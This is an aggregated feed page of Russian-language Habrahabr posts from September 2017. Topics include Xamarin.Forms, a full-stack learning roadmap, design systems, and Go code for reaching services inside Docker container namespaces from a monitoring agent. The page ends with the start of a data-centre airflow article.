-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] Эволюция кроссплатформенной разработки: плюсы и минусы Xamarin

Пятница, 15 Сентября 2017 г. 18:03 + в цитатник
zarytskiy вчера в 18:03 Разработка

Эволюция кроссплатформенной разработки: плюсы и минусы Xamarin

  • Перевод


Подобно эпохе в нашей собственной истории, когда четвероногие млекопитающие совершили прыжок в эволюции и стали двуногими, Xamarin.Forms пытается оставить свой след в истории разработки программного обеспечения, построения архитектуры и дизайна. Благодаря его возможностям мы с легкостью можем разрабатывать приложение (предварительно создав для него свой неповторимый дизайн), которое может работать на трех разных операционных системах с той же базой кода C# и пользовательским интерфейсом, и для которого предусмотрена возможность повторного использования кода и индивидуальной настройки.

Я тоже решил принять участие в этой важной вехе развития разработки программного обеспечения. После того как я разработал приложение, которое помогает мне контролировать здоровье пациентов, я решил поделиться своим мнением насчет плюсов и минусов Xamarin.

Взвесим все «плюсы» и «минусы» Xamarin


Что мне удалось создать


За последние годы я уделял большую часть своего времени вопросам здравоохранения. Я был вдохновлен идеей разработать нечто новое, что позволило бы мне эффективней наблюдать за здоровьем пациентов, а также фиксировать их биометрические данные. Для этой цели мною была разработана панель для сбора данных о здоровье пациентов. Благодаря ей можно собирать информацию о пациентах: их уровень холестерина, соотношение талии и бедра, индекс массы тела и сердечный ритм, а также отслеживать какие-либо изменения приведенных параметров в течение определенного периода.

Все отслеживаемые показатели выводятся на экран в виде квадратной сетки с девятью ячейками. Пользователь выбирает желаемую ячейку (например, ячейку с показателями уровня холестерина), показание которой он хотел бы отслеживать. После выбора такой ячейки перед пользователем открывается следующий экран.

Находясь в главном меню, пользователь получает цветовые сигналы, если для каких-либо показателей требуется обновление. Показатели, которые были введены недавно, отображаются в ярко-зеленом цвете, но со временем цвет тускнеет до черного. После того как показатель стал черным, его требуется обновить. На панели также отображается история вводимых показателей. В будущем планируется добавить в интерфейс панели больше графики.

Недостатки и преимущества: разработка под Android была удобней, чем под iOS


В первую очередь, я начал разработку и тестирование своего приложения с помощью Xamarin.Forms под Android. Так уж вышло, что до этого времени я, по большей части, писал на Objective-C различные приложения под iOS. На свой Windows мне пришлось установить Visual Studio и с его помощью воплощать свою задумку в жизнь. Поскольку эмуляторы Android были ну очень-очень медленными, мне пришлось пойти по пути наименьшего сопротивления: я следил за процессом работы и проверял функциональность приложения на обычном телефоне Android, поскольку отладка с помощью телефона в Windows поддерживается только для устройств Android.

Для проверки правильности разработки заветной панели под iOS мне пришлось уделить несколько больше свободного пространства. Пока я продолжал разработку на Windows, мой iPhone, используемый для отладки, должен был быть постоянно подключен к Mac (или к рабочему узлу). Затем, я подключил Mac к той же сети Wi-Fi, к которой был подключен мой компьютер, используемый непосредственно для разработки. Зачем? Все просто: во время разработки и отладки Visual Studio IDE и Mac должны были взаимодействовать. С помощью SSH-соединения мне удалось «подружить» Visual Studio и Mac OS, установив доступ к компилятору Apple, а также инструментам для подписи исполняемого кода.

Разница в моем опыте тестирования приложений под Android и iOS, на самом деле, незначительна. Во время отладки приложения, разрабатываемого под iOS, мне приходилось постоянно находиться в одной и той же комнате, поскольку мой компьютер был подключен к рабочему узлу. Что касается Android, то я себя чувствовал намного свободнее, и тестирование происходило в разы быстрей: я обновлял приложения, поворачивался к другому устройству и запускал приложение заново. Таким образом, я решил, что, в первую очередь, я буду разрабатывать и тестировать приложение именно под Android. Что касается моего опыта с Xamarin, то такие недостатки и преимущества стали самыми значимыми во время всей моей работы с данной платформой.

Pro: Prebuilt Xamarin.Forms layouts offer added functionality.


Преимущества: обеспечение функциональности благодаря встроенным макетам Xamarin.Forms


Для разработки панели для сбора данных о здоровье пациентов я использовал встроенные в Xamarin.Forms макеты с помощью кода пользовательского интерфейса. Я выбрал встроенный макет с линейным расположением объектов с вложенными в них макетами-сетками. Для этого я создал свои собственные классы макетов, благодаря которым добился большей функциональности. Я также разработал общий вид «ячеек» в сетках, который относился бы к конкретному исследуемому показателю, так что большая часть кода для ячейки (включая назначение пределов измерений какого-либо из показателей, а также определения его цвета) также использовалась мной для разработки других ячеек.

Что немаловажно, разрабатывая свою задумку с помощью Xamarin.Forms, я писал код, который как бы говорит: «Для первой ячейки создай мне новую линию, а для второй ячейки – сетку». Такой подход кажется мне очень удобным для разработчиков, привыкших писать свой и разбираться в чужом коде. Тем не менее, мне показалось нормальным написать свой собственный макет страницы, тем более если в будущем придется делать правки в коде и еще раз менять макет. Если у вас нет никакой другой причины, кроме как использование XAML designer, я бы посоветовал вам все-таки писать макеты для экранов.

Представьте мое удивления, когда я, только что написав черновой вариант своего приложения под Android, обнаружил, что его ориентация меняется с поворотом устройства. Дизайн встроенных макетов Xamarin разрабатывался как отзывчивый и таким образом, чтобы приложение полностью заполняло экран устройства. Лично я не собирался заниматься поддержкой изменения расположения экрана. Насколько я знаю для команд разработчиков, использующих Xamarin, такие особенности данной платформы – это уйма сбереженного времени. Я еще больше удивился, когда установил приложение на свой iOS-гаджет и обнаружил, что оно работает и все его отзывчивые особенности остались!

Плюсы/минусы: решение вопроса ограничений с помощью Model View ViewModel


Поскольку для работы над моим проектом я не задействовал дизайнера, то классических неурядиц между разработчиком и дизайнером (например, дизайнер предоставляет макет с UX/UI-дизайном разработчику, который по ряду технических причин не может его реализовать на практике) не произошло. Грамотное взаимодействие дизайнеров и разработчиков – это залог достижения элегантного UI-дизайна с помощью Xamarin.Forms.

Когда разработчики приступают к работе над мобильной версией приложения с помощью Xamarin.Forms, они должны, в первую очередь, хорошенько продумать, как будут выглядеть общие черты для устройств наиболее распространенных систем: iOS, Android и Windows. Каждый разработчик должен спросить себя: «Поддерживается ли функциональность приложения, а также находятся ли все его элементы на своих местах, при работе на любых системах? Как этого можно добиться?».

Такой процесс требует большей организованности, а также углубленных знаний схем взаимодействия во всех трех операционных системах. Во время разработки приложения необходимо руководствоваться решениями, универсальными для всех возможных операционных систем, а не делать ставку, например, только на Android, при этом совершенно позабыв о пользователях iOS устройств.

И все же, я не делал ставку на UX-дизайн для своего простого приложения, поскольку разработка гибкого макета с помощью Xamarin.Forms было неоспоримым преимуществом, которое позволило мне более эффективно повторно использовать код, экономя при этом 80–90% времени. Кроме того, некоторые особенности поведения той или иной системы могут отслеживаться с помощью DependencyService в Xamarin.Forms.

Вместо того чтобы все свои силы бросить на UX/UI-дизайн, постарайтесь вникнуть в ограничения для той или иной операционной системы. Сделав это, вы, несомненно, сможете создавать по-настоящему стоящие вещи, несмотря на такие границы. Конечно, такие уступки, сделанные для достижения преимуществ использования Xamarin.Forms, не могут стать решающим фактором. Тем не менее, стоит отметить, что если требуется более конкретная специфика для системы, то разработчики могут создать собственный рендер.

Принципы разработки с помощью Xamarin.Forms


(Внимание, спойлер от разработчиков!) Ниже представлены примеры лучшей практики для фреймов и эстетичных макетов для Xamarin:

  • Стремитесь создать приложение, универсальное для всех систем
  • Ознакомьтесь с ограничениями каждой из систем.
  • Продумывайте шаги разработки вашего приложения: как вы будете его разрабатывать для операционных систем.
  • Сначала – синтез, потом – дизайн
  • Не стоит рассматривать функциональность как нечто, работающее на только устройствах Apple, тем более когда дело доходит до C# и SDK.
  • Избегайте соблазна отказаться от привычных шаблонов взаимодействия. Почему? Там, где это возможно, Xamarin использует встроенные средства управления, поэтому элементы управления iOS и Android «text edit» выглядят и работают как элементы управления по умолчанию для каждой соответствующей ОС.

Плюсы и минусы: добавьте анимацию во время загрузки для ваших пользователей


В конце этой статьи я хочу посоветовать вам также уделить внимание на то, с чем мы сталкиваемся с самого начала – время ожидания, необходимое для загрузки приложения. После того как я закончил работу над своей панелью, я заметил, что для ее загрузки требуется немного больше времени, чем я ожидал: она выводила результаты с сервера для отображения. Если бы с самого начала я добавил бы анимацию, отображаемую во время процесса загрузки, то такая задержка осталась бы незамеченной. Это, конечно же, незначительная деталь в обсуждении преимуществ и недостатков Xamarin, однако даже самая наименьшая деталь имеет значение.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/338040/


Метки:  

Краткое руководство для новичков, желающих стать комплексными (full stack) веб-разработчиками

Пятница, 15 Сентября 2017 г. 17:47 + в цитатник
SmirkinDA сегодня в 17:47 Разработка

Краткое руководство для новичков, желающих стать комплексными (full stack) веб-разработчиками


    Знание веб-разработки может быть огромным преимуществом. Даже простое понимание основ может оказаться крайне полезным для представителей многих IT-профессий, в том числе основателей стартапов. В этой статье вкратце рассмотрены инструменты и технологии, которыми должен овладеть начинающий комплексный веб-разработчик. Также приведены полезные ресурсы, которые помогут вам быстро начать своё обучение. А если вы просто хотите получить базовое представление о веб-разработке, то достаточно дочитать до главы «Бэкенд-фреймворки».

    Основы (HTML/CSS/JS)



    Один из лучших способов изучения основ — пройти онлайн-курс. Например, The Web Developer Bootcamp на Udemy. Здесь вы пройдёте через весь процесс создания своего первого сайта, после чего вам будет понятнее, куда двигаться дальше.

    Фреймворки


    Фреймворки — это инструменты, позволяющие быстрее и проще реализовать всю распространённую функциональность. Рекомендую начать пользоваться ими как можно раньше, потому что фреймворки помогут вам достичь результата гораздо быстрее, и в то же ненавязчиво и естественно продемонстрируют вам проверенные методики веб-разработки. Благодаря одном лишь использованию фреймворков вы очень быстро впитаете массу знаний, не теряя время на ненужные вещи.



    В веб-разработке всегда приходится выбирать из огромного количества технологий. И для новичка этот выбор может стать непростым делом. Я не буду ставить вас в такую ситуацию, приводя достоинства и недостатки разных решений, а на протяжении статьи буду просто давать вам советы, что лучше взять, основываясь на своём опыте.

    Лучше всего начать изучать Bootstrap и jQuery. Сегодня это самые популярные фреймворки, используемые при создании подавляющего большинства сайтов.

    Bootstrap — CSS-фреймворк, предоставляющий кучу легко адаптируемых элементов интерфейса. Он позволяет очень быстро создавать адаптивные сайты (то есть хорошо выглядящие на мобильных устройствах). Недавно вышла новая версия Bootstrap, так что можете начать изучение с этого онлайн-курса.

    jQuery — JavaScript-фреймворк, значительно упрощающий манипулирование элементами веб-страницы. Под него создана масса плагинов для любой мыслимой задачи, так что когда вам понадобится какой-то интерактивный элемент, то можете быть уверены, что найдёте способ создать его с помощью jQuery. И это будет очень легко сделать, потому что на StackOverflow уже есть решение 95% проблем, с которыми вы столкнётесь.



    Начать изучение можно с этой замечательной лекции:





    Ради полноты картины упомяну и Compass. В самом начале о нём думать не нужно, потому что при создании сайтов можно обойтись без этого фреймворка. Но когда вы достигните уровня, при котором будете писать большое количество продвинутого CSS, причём для вас это станет довольно скучно, то обязательно обратите внимание на Compass. Он сильно ускоряет процесс написания CSS, делая его менее нудным, так что если выделите пару часов на изучение Compass, то он станет одним из самых эффективных ускорителей вашей продуктивности.

    WordPress


    WordPress — самая популярная в мире CMS (content management system), система управления контентом. Если вы просто хотите узнать, как можно просто кастомизировать свой сайт, то установите и изучите WordPress. Этого достаточно, больше вам ничего учить не придётся. Для WordPress доступно астрономическое количество графических тем и плагинов, которые покроют не менее 90% ваших потребностей.



    Доменные имена и хостинг


    Освоив азы о создав свой первый сайт, вы захотите поделиться им с миром. Чтобы сэкономить вам часы раздумий и выбора, я не стану вываливать сотни доступных вариантов, и лишь предложу выжимку из «правильных» вещей.



    Для покупки доменных имён за пределами Рунета используйте Namecheap. Как подсказывает название сервиса, там очень хорошие цены, да к тому же замечательное обслуживание.

    Для хостинга можете воспользоваться Bluehost, это дешёвый, очень простой в использовании сервис, с прекрасной документацией и многочисленными инструментами автоматизации. Здесь крайне просто развернуть WordPress или захостить простенькие HTML-страницы, так что если хотите быстро начать — самое оно.

    А когда наберётесь немного опыта, вам понадобится VPS — виртуальный частный сервер. По сути, это удалённый компьютер, над которым вам предоставляют полный доступ. Он будет обслуживать ваши сайты, которые вы создадите с помощью фреймворков. Я рекомендую использовать DigitalOcean, у этого сервиса хорошие цены, красивый и понятный интерфейс.

    Бэкенд-фреймворки


    Итак, вы создали несколько простых сайтов с помощью вышеупомянутых инструментов, и готовы идти дальше, чтобы стать профессиональным строителем кастомных проектов.
    В этом случае лучше всего изучить один из бэкенд-фреймворков. Эти фреймворки работают на сервере и динамически генерируют HTML для сайта каждый раз, когда пользователь обращается к URL.
    Как обычно, есть куча доступных продуктов, но я рекомендую сразу обратиться к Django, Ruby on Rails и Node/Express.



    Вы можете услышать разные мнения, какой из этих фреймворков нужно изучить в первую очередь, но я очень рекомендую начать с Django, а затем перейти к Node/Express.

    Главным преимуществом Django является то, что он написан на Python —прекрасном мощном языке, использующемся везде, где только можно представить. К тому же это лучший выбор в качестве первого языка программирования.

    Сам по себе Django простой, мощный, гибкий, прекрасно документированный фреймворк. Он содержит все инструменты, которые вам понадобятся для создания 95% ваших сайтов. Что ещё важнее, он даст вам отличную основу для размышления о коде бэкенда, и его понимание — прекрасный способ изучить основы веб-разработки в целом.

    Мой любимый курс для начинающих — Getting Started with Django, я для дальнейшего изучения рекомендую превосходную книгу Two Scoops of Django. Также не проходите мимо бесплатных видеоруководств Майка Хибберта.

    Node и Express


    Node и Express — очень мощные инструменты, которые я рекомендую изучить после Django. Для начинающих они могут показаться сложноватыми, но если вы уже знаете Django, то проблем у вас не возникнет.



    У Node много преимуществ, и лучшего всего ощутить их на собственном опыте. Зачастую этот фреймворк позволяет создавать сайты гораздо быстрее Django. Вы глубже изучите многочисленные концепции программирования бэкенда, вам будет легче создавать API, работающие в реальном времени веб-приложения (например, чаты или игры), а также универсальные веб-приложения (вы столкнётесь с ними при изучении React). Лучший из известных мне онлайн-курсов по Node.

    Фронтенд-фреймворки


    Если вы освоили HTML/CSS/JS и какой-то бэкенд-фреймворк, то вы уже весьма умелый веб-разработчик, способный создавать многие виды сайтов. И если хотите стать комплексным (full-stack) разработчиком, то добро пожаловать в мир фронтенд-фреймворков.

    Они позволяют создавать мощные одностраничные (single-page) приложения. На текущем этапе вы создаёте приложения, которые целиком выполняются в браузере, иногда обмениваясь данными с сервером (наподобие Gmail или Trello).



    В этой сфере долгое время конкурировали различные продукты, но сегодня выбор очевиден — вам нужно изучить React и Redux.

    Не стану расписывать, как они работают или каковы их преимущества (это займёт много времени), но, к счастью, существует совершенно изумительный онлайн-курс, из которого вы почерпнёте всё, что нужно — Modern React with Redux. А для изучения более продвинутой функциональности можете посмотреть вторую часть курса — Advanced React and Redux. Его автор, Стивен Грайдер, невероятный учитель. Он умеет очень хорошо и увлекательно объяснять, так что вам будет совсем не скучно изучать все премудрости этих инструментов.

    Очень рекомендую создать сайт с помощью Node и React/Redux, потому что это поможет вам уловить, как создавать и использовать REST API, а также на базе набора технологий создавать мощное и полезное ПО.

    DevOps


    Последний кусочек мозаики под названием «комплексный веб-разработчик». Вам нужно изучить DevOps. Это глубокий предмет, в котором я не являюсь экспертом, но вам не будет слишком трудно разобраться в основах развёртывания веб-сайтов.



    Наверняка на данном этапе вы уже многое из этого изучили на своём опыте. Возможно, вы уже использовали Github и какие-то CI-инструменты для развёртывания сайтов и Nginx для их обслуживания.

    Пришла пора изучить Docker. Это отраслевой стандарт для развёртывания веб-приложений, делающий процесс быстрым, элегантным и удобным.



    Лично я изучал Docker с помощью вот этого курса. Он короткий и довольно простой для понимания.

    Заключение


    Конечно, невозможно в одной статье осветить все аспекты этой многогранной, сложной и быстро развивающейся сферы, но я считаю, что эта статья даст вам понимание лежащего перед вами пути и станет полезным проводником. Хотел бы я прочитать что-то подобное несколько лет назад.

    Конечно, по мере изучения вы сможете более глубоко погружаться в какие-то технологии, полнее осваивать какие-то инструменты, но я надеюсь, что теперь ваш путь будет менее извилистым и запутанным.
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338034/


    Метки:  

    Новая серия вебинаров по SAP Cloud Platform: разработка, интеграция, мобильные приложения и многое другое за месяц

    Пятница, 15 Сентября 2017 г. 16:44 + в цитатник
    SAP вчера в 16:44 Разработка

    Новая серия вебинаров по SAP Cloud Platform: разработка, интеграция, мобильные приложения и многое другое за месяц

      Привет, Хабр! С 20 сентября мы начинаем новую серию вебинаров про SAP Cloud Platform на русском языке. В течение месяца эксперты SAP проведут 11 семинаров с углубленным погружением в тему интернета вещей и машинного обучения, а также многочисленных сервисов платформы SAP Cloud Platform.

      В частности, мы расскажем о том, как:

      • быстрее и проще осуществлять запросы на изменения в системе;
      • лучше организовать домашнюю разработку и тестирование прототипов;
      • интегрировать в систему облачные решения SAP;
      • расширять функционал решений SAP;
      • разрабатывать мобильные приложения для сотрудников и клиентов;
      • перейти на микросервисную архитектуру.

      -> Регистрация на вебинары открыта по ссылке
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338028/


      Метки:  

      Большие маневры малого бизнеса: «Альфа-Бизнес Мобайл» и его возможности

      Пятница, 15 Сентября 2017 г. 16:07 + в цитатник
      Сама суть малого бизнеса в маневренности и стремительном темпе работы. Многие вещи делаются на ходу, поэтому высок спрос на мобильные решения. Со своей стороны банки заинтересованы в том, чтобы сделать жизнь таких бизнесменов немного проще. Для этого разрабатываются онлайн-сервисы и мобильные приложения, отвязывающие основные операции от стационарного рабочего места. Как это происходит на практике, мы испытали сами на примере сервиса «Альфа-Бизнес Мобайл». Читать далее

      https://habrahabr.ru/post/336548/


      Метки:  

      [recovery mode] Дизайн система по Волкову

      Пятница, 15 Сентября 2017 г. 16:06 + в цитатник
      Drimtv сегодня в 16:06 Дизайн

      Дизайн система по Волкову

      image

      Приветствую Вас коллеги! В этой статье я бы хотел поделиться опытом создания дизайн-систем. Начитавшись разных умных книжек и насмотревшись полезных видео по этому вопросу, я решил применить знания на практике. После нескольких попыток я выделил для себя важные моменты. Которые опишу в данной статье. Мне очень интересно узнать, как решается вопрос дизайн систем у других практиков, поэтому жду море комментариев.

      Как вы все знаете (а кто не знает то узнает) интерфейсы состоят из многих элементов, объединяющихся в группы, в соответствии с потребностями итогового продукта, и образующие более сложные системы. Эти сложные системы работая в тесной связке образуют итоговый интерфейс любого программного продукта, будь то приложение, портал или что то еще.
      image
      Создав дизайн систему, которая охватывает все потребности продукта, мы можем достаточно легко соблюдать единообразие элементов всех состояний интерфейса и легко формировать его новые части.

      Я придерживаюсь концепции «Атомного дизайна». Для тех кто не знает об «Атомном дизайне» поясню:

      Атомный дизайн это иерархическая разработка интерфейса. Т.е. от простейшего к сложному. В самом низу находятся отдельные элементы интерфейса (кнопки, текстовые поля и т.д.) а в самом верху готовые экраны или страницы состоящие из этих элементов.

      Давайте перейдем к практике. Постараюсь показать формирование элементов дизайн системы на конкретных примерах.

      Сначала надо определиться с сеткой. Ведь по сетке будут выравниваться все элементы и задаваться отступы друг от дружки.

      Например google при разработке дизайна мобильных приложений рекомендует использовать сетку 8х8px. Возьмем ее за основу.

      image

      Следующим этапом, после определения сетки, идет обычный текстовый блок. Т.е. наш основной текст который будет использоваться во всем продукте.

      Так как сетка у нас 8х8px то высота строки текста должна быть кратной 8. Например мы решили использовать шрифт Roboto regular размером 14px. Значит высота строки либо 8 (что вообще не в какие ворота не лезет), либо 16 (текст получается тоже сжат), либо 24px (что очень хорошо).

      image

      Сетка и основной шрифт есть. Значит мы можем добавить следующий элемент системы — заголовок. Заголовок также вычисляем как и шрифт. Например у нас будет заголовок первого уровня (в вебе H1) выполнен Roboto bold и размером 24px. Высота строки не может быть меньше размера шрифта. Поэтому зададим пока высоту строки равную 32 = 24+8.

      image

      Добавим еще один элемент нашей будущей дизайн системы — кнопку.

      Кнопка может быть высотой соответствующей нашей сетке. Я могу ее сделать по высоте и 24px, и 32px. В кнопке будет ее наименование написанное основным текстом.

      image

      Теперь главное. А главное это ответ на вопрос: — «Причем тут действия выше и дизайн система?»

      Постараюсь ответить кратко.

      Выше мы описали основные элементы которые будут участвовать в нашей дизайн системе. А она у нас она будет аж из трех элементов.

      Первое правило построение дизайн системы, по моему мнению будет:

      «Используйте проверки связей элементов»

      Ваши элементы системы должны складываться в любом порядке. Представьте что это конструктор. И вы должны задаться вопросом как будет выглядеть дин элемент рядом с другим.

      В нашем интерфейсе из трех элементом могут быть такие комбинации:

      • Заголовок + текст + кнопка
      • Заголовок + кнопка
      • Кнопка + текст
      • и т.д.

      Т.е. перебирая элементы будущей системы мы видим как смотрятся друг с другом те или иные элементы.

      Второе правило:

      «Дизайн система — изменчивый организм»

      Когда образуется ваша дизайн система, уже заготовленные элементы могут претерпевать изменения. К ним могут добавляться определенные правила.

      В примере выше у нас все элементы системы прижаты друг к другу. Не хватает правил по которым будут применяться отступы.

      У меня есть следующий подход. Я стараюсь сделать равные отступы для всех элементов и стараюсь соблюсти баланс.

      Например добавляем равные отступы к заголовку, текстовому блоку и кнопке. И перебрав все элементы как в примере выше, мы получим совершенно другую картину.

      Теперь у нас любой элемент системы не просто сам по себе, а элемент системы + отступ.

      image

      Картина изменилась.

      Третье правило:

      «Добавляя новый элемент в дизайн систему, проверьте как он работает с остальными частями»

      Тут все просто. Ваши комбинации усложняются. Проверив взаимодействие элементов и внося требуемые изменения вы получаете более гармоничную картину.

      Четвертое правило:

      «Опишите логику построения интерфейсов на основе вашей дизайн системы»

      Документирование и приведение примеров построения интерфейсов по вашей дизайн системе позволяет наладить мост между разработчиками и UI дизайнерами. Также это может помочь новым UI дизайнерам не допускать ошибок при визуализации интерфейсов.

      Пятое правило:

      «Создавайте понятные библиотеки элементов дизайн системы»

      Тут я попытался сказать о том что все элементы должны быть разбиты по группам, понятно подписаны и иметь легенду где чаще используются.

      Можно еще написать несколько правил по которым я работаю, но эти основные на что я захотел обратить внимание.

      Также хочу отметить, что в многих проектах не получается работать по этим принципам. В них есть нюанс: «Время — деньги». На разработку дизайн системы тратится много времени, сил и денег, поэтому идет отказ от дизайн системы в пользу скорости.

      Спасибо, что прочитали статью.

      Жду ваших комментариев о том как подобные процессы сформированы в вашей работе.
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338020/


      Метки:  

      Docker, или Туда и обратно

      Пятница, 15 Сентября 2017 г. 16:05 + в цитатник
      NikolaySivko сегодня в 16:05 Разработка

      Docker, или Туда и обратно

        С появлением docker у нас, как у сервиса мониторинга немного усложнилась жизнь. Как я писал ранее, одна из фишек нашего сервиса — автодетект сервисов, то есть агент сам находит запущенные на сервере сервисы, читает их конфиги и начинает сбор метрик.


        Но в какой-то момент в production у наших клиентов начал появляться докер, и наш автодетект перестал работать. Процессу, который запускается через докер, проставляются различные namespace (mnt, net, user, pid), это достаточно сильно усложняет работу извне контейнера с файлами и сетью внутри контейнера.


        Под катом я расскажу, как мы решали эту проблему, какие варианты пробовали, и что в итоге заработало.


        Нашу задачу можно условно разделить на 2 части:


        • научиться читать файлы в контейнерах
        • научиться соединяться по сети с сервисами, запущенными в контейнерах

        Файлы в контейнерах


        Первая гипотеза была очень простой: мы просто будем определять куда смотрит fs контейнера на диске хоста, менять пути и ходить туда. К сожалению это работает только в случае AUFS, но он в production практически не встречается.


        Дальше мы наивно пробовали делать setns на MNT namespace прямо из кода агента, но это тоже не получилось. Дело в том, что setns на mnt (и user тоже) неймспейс может делать только однотредовое приложение:


        A process may not be reassociated with a new mount namespace if it is multithreaded

        Наш агент написан на golang и к моменту, когда мы хотим вызывать setns, гошный runtime уже наплодил нам несколько тредов. Чтобы агент мог запускать какие-то специальные процессы типа nsenter, нужно предварительно притащить их на машину клиенту, чего нам сильно не хотелось.


        Был вариант запускать что-то через docker exec -ti, но, во-первых, эта команда доступна только с версии 1.3, во-вторых, существует не только докер, но еще и другие сервисы контейнеризации, а в-третьих, внутри контейнера может не быть даже cat.


        Потом нашелся интересный хак для go, который позволяет сделать setns в сишном конструкторе до запуска go runtime. В итоге мы пришли к тому, что агент запускает сам себя с определенными аргументами и может прочитать файл в нужном ns, раскрыть glob по файловой системе контейнера и тому подобное. Но так как setns должен выполняться в C коде, пришлось писать на C и обработку аргументов запуска. Причем в момент вызова


        __attribute__((constructor))

        argv/argc еще не проинициализированы, так что пришлось читать аргументы запуска себя из /proc/self/cmdline.


        При запуске агента в этом режиме он вываливает результат своей работы в stdout/stderr, а агент-родитель это читает. Отдельно пришлось сделать ограничение на размер читаемого файла: чтобы не нагружать диск мы даже не пытаемся читать файлы более 200KB (часто встречаются увесистые конфиги nginx с мапингом geoip), так как это может заметно прогрузить диск на клиентском сервере.


        Такой подход хорошо работает только когда нужно один раз прочитать файл, но не годится, если нужно например tail'ить лог. С другой стороны логи на слоеные fs контейнеров обычно не пишут. Их обычно либо заворачивают в докеровские stdout/stderr и прогоняют через dockerd, либо пишут на примонтированные разделы на хостовую fs.


        Вариант с dockerd мы пока никак не обрабатываем, но стоит отметить, что среди наших клиентов он встречается редко. Видимо из-за того, что на большом потоке логов, dockerd начинает нехило нагружать процессор.


        Для случая с примонтированными директориями для логов, мы через информацию из docker inspect пытаемся найти нужный файл на fs хоста, а плагин, который хочет парсить такой лог, получает путь до файла уже вне контейнера.


        Сеть в контейнерах


        Первая идея относительно того, как работать по сети с сервисом в контейнере была тоже наивной: мы будем брать из docker inspect IP контейнера и будем работать с ним. Потом выяснилось, что доступа с хоста в сеть контейнера может и не быть вовсе (macvlan). К тому же есть lxc итд.


        Мы решили двигаться в сторону setns. Cетевой namespace в отличии от mnt и user можно переопределить для одного конкретного треда приложения. В golang с этим с первого взгляда все достаточно просто:


        • запускаем горутину
        • блокируем для нее текущий тред runtime.LockOSThread, таким образом другие горутины в этом треде исполняться не будут
        • делаем setns
        • если нужно, можно сделать setns на наш предыдущий namespace и снять лок на тред runtime.UnlockOSThread

        Но все оказалось сложнее. На самом деле при блокировке треда runtime нам не гарантирует, что исполнение данной горутины останется в этом треде. Есть хорошее описание как раз такого случае в посте "Linux Namespaces And Go Don't Mix".


        Изначально мы собирались запускать плагин, мониторящий сервис в контейнере как раз в залоченном треде с setns, но это сломалось на первом же http клиенте.


        Так как влиять на планировщик go у нас нет возможности, мы стали искать способ оставить в треде только код, не приводящий к порождению новых тредов.


        Мы заметили, что если сразу после setns делать tcp коннект, то он проходит в 100% случаев, и если потом выйти из namespace и отпустить лок на тред, открытое соединение продолжает работать (я затрудняюсь объяснить, почему это работает).


        Дальше задача свелась к тому, чтобы всем библиотеками для работы с различными сервисами, которые мы мониторим, подсунуть наш Dialer (функцию, отвечающую за TCP connect):


        • redis:
          client := redis.NewClient(&redis.Options{
              Dialer: func() (net.Conn, error) {
                  return utils.DialTimeoutNs("tcp", params.Address, params.NetNs, redisTimeout)
              },
              ReadTimeout:  redisTimeout,
              WriteTimeout: redisTimeout,
              Password:     params.Password,
          })
        • для memcached мы не используем никаких библиотек, а работаем с ним по tcp руками, следовательно тут тоже не возникло никаких проблем
        • в rabbitmq мы ходим по http, стандартный http клиент умеет принять кастомные Dial
        • mysql:
          mysql.RegisterDial("netns", func(addr string) (net.Conn, error) {
              return utils.DialTimeoutNs("tcp", addr, params.NetNs, connectTimeout)
          })
          db, err = sql.Open("mysql",
              fmt.Sprintf("netns(%s)/?timeout=%s&readTimeout=%s&writeTimeout=%s",
                  params.Address, connectTimeout, readTimeout, writeTimeout))
        • c postgresql получилось достаточно костыльно, пришлось делать свой псевдо драйвер для database/sql:

        func init() {
            sql.Register("postgres+netns", &drv{})
        }
        
        type drv struct{}
        
        type nsDialer struct {
            netNs string
        }
        
        func (d nsDialer) Dial(ntw, addr string) (net.Conn, error) {
            return utils.DialTimeoutNs(ntw, addr, d.netNs, connectTimeout)
        }
        
        func (d nsDialer) DialTimeout(ntw, addr string, timeout time.Duration) (net.Conn, error) {
            return utils.DialTimeoutNs(ntw, addr, d.netNs, timeout)
        }
        
        func (d *drv) Open(name string) (driver.Conn, error) {
            parts := strings.SplitN(name, "|", 2)
            netNs := ""
            if len(parts) == 2 {
                netNs = parts[0]
                name = parts[1]
            }
            return pq.DialOpen(nsDialer{netNs}, name)
        }

        потом вызываем свой драйвер:


        dsn := fmt.Sprintf("%s|postgres://%s:%s@%s/%s", 
            p.NetNs, p.User, p.Password, p.Address, dbName)
        db, err := sql.Open("postgres+netns", dsn)

        Итого


        Оглядываясь назад, мы не пожалели, что выбрали вариант с setns, так этот же код недавно прекрасно сработал у клиента с lxc.
        Единственный незакрытый на данный момент сервис — это jvm в контейнере, но это совсем другая история.

        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/337964/


        Метки:  

        Изоляция воздушных потоков в ЦОД. Типичные сценарии

        Пятница, 15 Сентября 2017 г. 15:06 + в цитатник
        Andrey_SE сегодня в 15:06 Разное

        Изоляция воздушных потоков в ЦОД. Типичные сценарии

          Специалистам по инженерным системам ЦОДа не надо долго объяснять пользу изоляции воздушных потоков в серверных залах. Она позволяет существенно повысить эффективность системы охлаждения в целом, оптимизировав температурные режимы и воздухообмен, улучшить надежность работы ИТ-оборудования, благодаря исключению зон локального перегрева, увеличить энергетическую плотность стоек, и т.д. Результат – более рациональное использование дорогостоящих ресурсов: полезной площади, электроэнергии, системы охлаждения, с вытекающей экономией средств. Последнее достигается за счет снижения энергопотребления, возможности уменьшения числа блоков охлаждения, продления времени использования режима естественного охлаждения (фрикулинга).

